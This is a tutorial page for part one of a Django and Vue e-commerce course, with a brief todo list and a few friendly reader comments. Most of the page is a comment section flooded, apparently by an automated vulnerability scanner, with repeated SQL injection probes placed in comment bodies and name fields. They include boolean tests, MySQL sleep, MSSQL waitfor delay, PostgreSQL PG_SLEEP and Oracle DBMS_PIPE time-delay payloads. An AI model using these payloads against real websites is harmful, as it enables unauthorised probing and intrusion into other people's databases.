Part one - Setting up - Building an e-commerce website using Django and Vue

In this part, we install and set up everything we need to get started. We'll also create a front page and a few other templates.

Todo list for part 1

  • -Create a virtual environment
  • -Install Django and create a project
  • -Set up the database
  • -Create a superuser
  • -Create a folder for the Django apps
  • -Create folder and Django app for the core views (apps/core)
  • -Create the base template
  • -Create view for the front page and a very basic template
  • -Creating a contact simple page
  • -Check that everything is working

Comments

ahmed mosaed | Aug 11, 21 06:09

Dear Thank you for your marvelous courses, still, I am suggesting to give us like exercise files by a video containing the steps.

For example it took me a lot to write the HTML code from the video ,


Stein Ove Helset | Aug 12, 21 06:06

Thanks :-D All of the code from the videos should be available in my GitHub account :-) But I still suggest that you write all of the code, it makes you learn it even better ;-)

ahmed mosaed | Aug 12, 21 02:20

Thank you, Dear, for your reply, actually I learned from typing the HTML myself :D, what I meant, if someone is seeking only the Django knowledge it will be just a hard part, still not in vain :D.

Thank you again and I am already recommending your channel to my fellow Django beginners :)


Stein Ove Helset | Aug 13, 21 05:46

Yeah, I see :-) Thank you so much for recommending me :-D

EFSArCBy | Jul 02, 26 11:02

555

EFSArCBy | Jul 02, 26 11:08

555

EFSArCBy | Jul 02, 26 11:08

555

EFSArCBy | Jul 02, 26 11:08

-1 OR 2+884-884-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:08

-1 OR 2+895-895-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:08

-1' OR 2+218-218-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:08

-1' OR 2+553-553-1=0+0+0+1 or 'V3jBPOSH'='

EFSArCBy | Jul 02, 26 11:08

-1" OR 2+728-728-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:08

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:08

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:08

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:08

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:08

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:08

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:08

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:08

55558L7VjN3'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:08

555-1 OR 375=(SELECT 375 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555-1) OR 161=(SELECT 161 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555-1)) OR 767=(SELECT 767 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555ej0IUv8D' OR 511=(SELECT 511 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555ZwsJcYXV') OR 833=(SELECT 833 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555JZe7AD24')) OR 164=(SELECT 164 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:08

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:08

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:08

555

EFSArCBy | Jul 02, 26 11:08

555'"

EFSArCBy | Jul 02, 26 11:08

@@Q1WYb

EFSArCBy | Jul 02, 26 11:08

555

EFSArCBy | Jul 02, 26 11:08

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

-1 OR 2+889-889-1=0+0+0+1 -- | Jul 02, 26 11:09

555

-1 OR 2+390-390-1=0+0+0+1 | Jul 02, 26 11:09

555

-1' OR 2+239-239-1=0+0+0+1 -- | Jul 02, 26 11:09

555

-1' OR 2+665-665-1=0+0+0+1 or 'jofT72w8'=' | Jul 02, 26 11:09

555

-1" OR 2+861-861-1=0+0+0+1 -- | Jul 02, 26 11:09

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:09

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:09

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:09

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:09

555

EFSArCBygMS8JVlM'; waitfor delay '0:0:15' -- | Jul 02, 26 11:09

555

EFSArCByT1imhelv' OR 333=(SELECT 333 FROM PG_SLEEP(15))-- | Jul 02, 26 11:09

555

EFSArCBybX3roE9U') OR 595=(SELECT 595 FROM PG_SLEEP(15))-- | Jul 02, 26 11:09

555

EFSArCByLCUAcN8a')) OR 28=(SELECT 28 FROM PG_SLEEP(15))-- | Jul 02, 26 11:09

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy'" | Jul 02, 26 11:09

555

@@66mfb | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 02, 26 11:09

555

EFSArCBy | Jul 20, 26 11:08

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

-1 OR 2+870-870-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

-1 OR 2+665-665-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:10

-1' OR 2+376-376-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

-1' OR 2+748-748-1=0+0+0+1 or 'gjMSbkx2'='

EFSArCBy | Jul 20, 26 11:10

-1" OR 2+553-553-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:10

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:10

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:10

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:10

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:10

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555YRuvkzEV'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:10

555-1 OR 686=(SELECT 686 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555-1) OR 357=(SELECT 357 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555-1)) OR 146=(SELECT 146 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

5553UOxlTOU' OR 27=(SELECT 27 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555uz5fTkjx') OR 983=(SELECT 983 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555RFBh2S4O')) OR 651=(SELECT 651 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:10

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:10

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555'"

EFSArCBy | Jul 20, 26 11:10

@@KvjbF

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

-1 OR 2+860-860-1=0+0+0+1 -- | Jul 20, 26 11:10

555

-1 OR 2+826-826-1=0+0+0+1 | Jul 20, 26 11:10

555

-1' OR 2+670-670-1=0+0+0+1 -- | Jul 20, 26 11:10

555

-1' OR 2+78-78-1=0+0+0+1 or 'vcBoCMQr'=' | Jul 20, 26 11:10

555

-1" OR 2+972-972-1=0+0+0+1 -- | Jul 20, 26 11:10

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:10

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:10

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:10

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:10

555

EFSArCByRLUIqV6w'; waitfor delay '0:0:15' -- | Jul 20, 26 11:10

555

EFSArCByDxN6TJni' OR 818=(SELECT 818 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCBysqzwrVlq') OR 583=(SELECT 583 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCByXTzcn5uv')) OR 97=(SELECT 97 FROM PG_SLEEP(15))-- | Jul 20, 26 11:10

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy'" | Jul 20, 26 11:10

555

@@kyRdq | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 20, 26 11:10

555

EFSArCBy | Jul 23, 26 02:00

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

-1 OR 2+341-341-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:01

-1 OR 2+816-816-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:01

-1' OR 2+817-817-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:01

-1' OR 2+367-367-1=0+0+0+1 or 'EXa4oAqj'='

EFSArCBy | Jul 23, 26 02:01

-1" OR 2+90-90-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:01

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:01

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:01

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:01

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:01

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:01

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:01

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:01

555bpEOtJlz'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:01

555-1 OR 746=(SELECT 746 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555-1) OR 650=(SELECT 650 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555-1)) OR 374=(SELECT 374 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555BlC8kTPq' OR 451=(SELECT 451 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555yTqVp1hE') OR 542=(SELECT 542 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555xH1FYeKZ')) OR 109=(SELECT 109 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:01

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:01

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555'"

EFSArCBy | Jul 23, 26 02:01

@@DCvbl

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

-1 OR 2+177-177-1=0+0+0+1 -- | Jul 23, 26 02:01

555

-1 OR 2+466-466-1=0+0+0+1 | Jul 23, 26 02:01

555

-1' OR 2+430-430-1=0+0+0+1 -- | Jul 23, 26 02:01

555

-1' OR 2+654-654-1=0+0+0+1 or 'R0YfGAdk'=' | Jul 23, 26 02:01

555

-1" OR 2+785-785-1=0+0+0+1 -- | Jul 23, 26 02:01

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:01

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:01

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:01

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:01

555

EFSArCByKzMQKuOk'; waitfor delay '0:0:15' -- | Jul 23, 26 02:01

555

EFSArCByL0Tkck9B' OR 527=(SELECT 527 FROM PG_SLEEP(15))-- | Jul 23, 26 02:01

555

EFSArCByJJqlCK2i') OR 901=(SELECT 901 FROM PG_SLEEP(15))-- | Jul 23, 26 02:01

555

EFSArCByhGBBVjtW')) OR 342=(SELECT 342 FROM PG_SLEEP(15))-- | Jul 23, 26 02:01

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:01

555

EFSArCBy | Jul 23, 26 02:01

555

EFSArCBy'" | Jul 23, 26 02:01

555

@@sEw4f | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

EFSArCBy | Jul 23, 26 02:02

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.